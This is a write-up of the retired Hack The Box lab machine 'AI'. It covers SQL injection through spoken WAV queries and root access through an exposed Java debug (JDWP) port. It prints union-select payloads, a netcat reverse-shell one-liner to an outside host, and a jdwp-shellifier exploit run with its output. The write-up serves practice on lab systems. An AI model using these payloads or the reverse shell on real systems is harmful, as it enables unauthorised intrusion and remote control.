Hack The Box - AI

Quick Summary

Hey guys, today AI retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.163 , I added it to /etc/hosts as ai.htb . Let’s jump right in !



Nmap

As always we will start with nmap to scan for open ports and services:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

root@kali:~/Desktop/HTB/boxes/AI# nmap -sV -sT -sC -o nmapinitial ai.htb

Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 17:46 EST

Nmap scan report for ai.htb (10.10.10.163)

Host is up (0.83s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)

| 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)

|_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Hello AI!

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 123.15 seconds

root@kali:~/Desktop/HTB/boxes/AI#



We got ssh on port 22 and http on port 80.

Web Enumeration

The index page was empty:



By hovering over the logo a menu appears:



The only interesting page there was /ai.php . From the description (“Drop your query using wav file.”) my first guess was that it’s a speech recognition service that processes users’ input and executes some query based on that processed input, And there’s also a possibility that this query is a SQL query but we’ll get to that later.:



I also found another interesting page with gobuster :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

root@kali:~/Desktop/HTB/boxes/AI# gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php

===============================================================

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

===============================================================

[+] Url: http://ai.htb/

[+] Threads: 10

[+] Wordlist: /usr/share/wordlists/dirb/common.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Extensions: php

[+] Timeout: 10s

===============================================================

2020/01/24 18:57:23 Starting gobuster

===============================================================

----------

REDACTED

----------

/intelligence.php (Status: 200)

----------

REDACTED

----------

===============================================================

2020/01/24 19:00:49 Finished

===============================================================

root@kali:~/Desktop/HTB/boxes/AI#



It had some instructions on how to use their speech recognition:



I used ttsmp3.com to generate audio files and I created a test file:



But because the application only accepts wav files I converted the mp3 file with ffmpeg :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

root@kali:~/Desktop/HTB/boxes/AI/test# mv ~/Downloads/ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3 .

root@kali:~/Desktop/HTB/boxes/AI/test# ffmpeg -i ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3 ttsMP3.com_VoiceText_2020-1-24_19_35_47.wav

ffmpeg version 4.2.1-2+b1 Copyright (c) 2000-2019 the FFmpeg developers

built with gcc 9 (Debian 9.2.1-21)

configuration: --prefix=/usr --extra-version=2+b1 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --enable-avresample --disable-filter=resample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librsvg --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzmq --enable-libzvbi --enable-lv2 --enable-omx --enable-openal --enable-opengl --enable-sdl2 --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-libx264 --enable-shared

libavutil 56. 31.100 / 56. 31.100

libavcodec 58. 54.100 / 58. 54.100

libavformat 58. 29.100 / 58. 29.100

libavdevice 58. 8.100 / 58. 8.100

libavfilter 7. 57.100 / 7. 57.100

libavresample 4. 0. 0 / 4. 0. 0

libswscale 5. 5.100 / 5. 5.100

libswresample 3. 5.100 / 3. 5.100

libpostproc 55. 5.100 / 55. 5.100

[mp3 @ 0x55b33e5f88c0] Estimating duration from bitrate, this may be inaccurate

Input #0, mp3, from 'ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3':

Metadata:

encoder : Lavf57.71.100

Duration: 00:00:00.63, start: 0.000000, bitrate: 48 kb/s

Stream #0:0: Audio: mp3, 22050 Hz, mono, fltp, 48 kb/s

Stream mapping:

Stream #0:0 -> #0:0 (mp3 (mp3float) -> pcm_s16le (native))

Press [q] to stop, [?] for help

Output #0, wav, to 'ttsMP3.com_VoiceText_2020-1-24_19_35_47.wav':

Metadata:

ISFT : Lavf58.29.100

Stream #0:0: Audio: pcm_s16le ([1][0][0][0] / 0x0001), 22050 Hz, mono, s16, 352 kb/s

Metadata:

encoder : Lavc58.54.100 pcm_s16le

size= 27kB time=00:00:00.62 bitrate= 353.8kbits/s speed= 146x

video:0kB audio:27kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.282118%

root@kali:~/Desktop/HTB/boxes/AI/test#



SQL injection –> Alexa’s Credentials –> SSH as Alexa –> User Flag

As I said earlier, we don’t know what does it mean by “query” but it can be a SQL query. When I created another audio file that says it's a test I got a SQL error because of ' in it's :



The injection part was the hardest part of this box because it didn’t process the audio files correctly most of the time, and it took me a lot of time to get my payloads to work.

First thing I did was to get the database name.

Payload:

1

one open single quote union select database open parenthesis close parenthesis comment database





The database name was alexa , next thing I did was enumerating table names, my payload was like the one shown below and I kept changing the test after from and tried possible and common things.

Payload:

1

one open single quote union select test from test comment database





The table users existed.

Payload:

1

one open single quote union select test from users comment database





From here it was easy to guess the column names, username and password . The problem with username was that it processed user and name as two different words so I couldn’t make it work.

Payload:

1

one open single quote union select username from users comment database





password worked just fine.

Payload:

1

one open single quote union select password from users comment database





Without knowing the username we can’t do anything with the password, I tried alexa which was the database name and it worked:



We owned user.

JDWP –> Code Execution –> Root Shell –> Root Flag

Privilege escalation on this box was very easy, when I checked the running processes I found this one:

1

2

3

4

5

6

7

8

9

10

alexa@AI:~$ ps aux

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

----------

REDACTED

----------

root 89984 18.8 5.4 3137572 110120 ? Sl 22:44 0:06 /usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 -Djava.io.tmpdir=/opt/apache-tomcat-9.0.27/temp org.apache.catalina.startup.Bootstrap start

----------

REDACTED

----------

alexa@AI:~$



This was related to an Apache Tomcat server that was running on localhost , I looked at that server for about 10 minutes but it was empty and I couldn’t do anything there, it was a rabbit hole. If we check the listening ports we’ll see 8080 , 8005 and 8009 which is perfectly normal because these are the ports used by tomcat , but we’ll also see 8000 :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

alexa@AI:~$ netstat -ntlp

(Not all processes could be identified, non-owned process info

will not be shown, you would have to be root to see it all.)

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -

tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -

tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -

tcp6 0 0 127.0.0.1:8080 :::* LISTEN -

tcp6 0 0 :::80 :::* LISTEN -

tcp6 0 0 :::22 :::* LISTEN -

tcp6 0 0 127.0.0.1:8005 :::* LISTEN -

tcp6 0 0 127.0.0.1:8009 :::* LISTEN -

alexa@AI:~$



A quick search on that port and how it’s related to tomcat revealed that it’s used for debugging, jdwp is running on that port.

The Java Debug Wire Protocol (JDWP) is the protocol used for communication between a debugger and the Java virtual machine (VM) which it debugs (hereafter called the target VM). -docs.oracle.com

By looking at the process again we can also see this parameter given to the java binary:

1

-agentlib:jdwp=transport=dt_socket,address=localhost:8000



I searched for exploits for the jdwp service and found this exploit. I uploaded the python script on the box and I added the reverse shell payload to a file and called it pwned.sh then I ran the exploit:

1

2

3

4

5

6

7

8

9

10

11

12

alexa@AI:/dev/shm$ nano pwned.sh

alexa@AI:/dev/shm$ chmod +x pwned.sh

alexa@AI:/dev/shm$ cat pwned.sh

#!/bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f

alexa@AI:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh

[+] Targeting '127.0.0.1:8000'

[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'

[+] Found Runtime class: id=b8c

[+] Found Runtime.getRuntime(): id=7f40bc03e790

[+] Created break event id=2

[+] Waiting for an event on 'java.net.ServerSocket.accept'



Then from another ssh session I triggered a connection on port 8005 :

1

alexa@AI:~$ nc localhost 8005



And the code was executed:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

alexa@AI:/dev/shm$ nano pwned.sh

alexa@AI:/dev/shm$ chmod +x pwned.sh

alexa@AI:/dev/shm$ cat pwned.sh

#!/bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f

alexa@AI:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh

[+] Targeting '127.0.0.1:8000'

[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'

[+] Found Runtime class: id=b8c

[+] Found Runtime.getRuntime(): id=7f40bc03e790

[+] Created break event id=2

[+] Waiting for an event on 'java.net.ServerSocket.accept'

[+] Received matching event from thread 0x1

[+] Selected payload '/dev/shm/pwned.sh'

[+] Command string object created id:c31

[+] Runtime.getRuntime() returned context id:0xc32

[+] found Runtime.exec(): id=7f40bc03e7c8

[+] Runtime.exec() successful, retId=c33

[!] Command successfully executed

alexa@AI:/dev/shm$



And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Player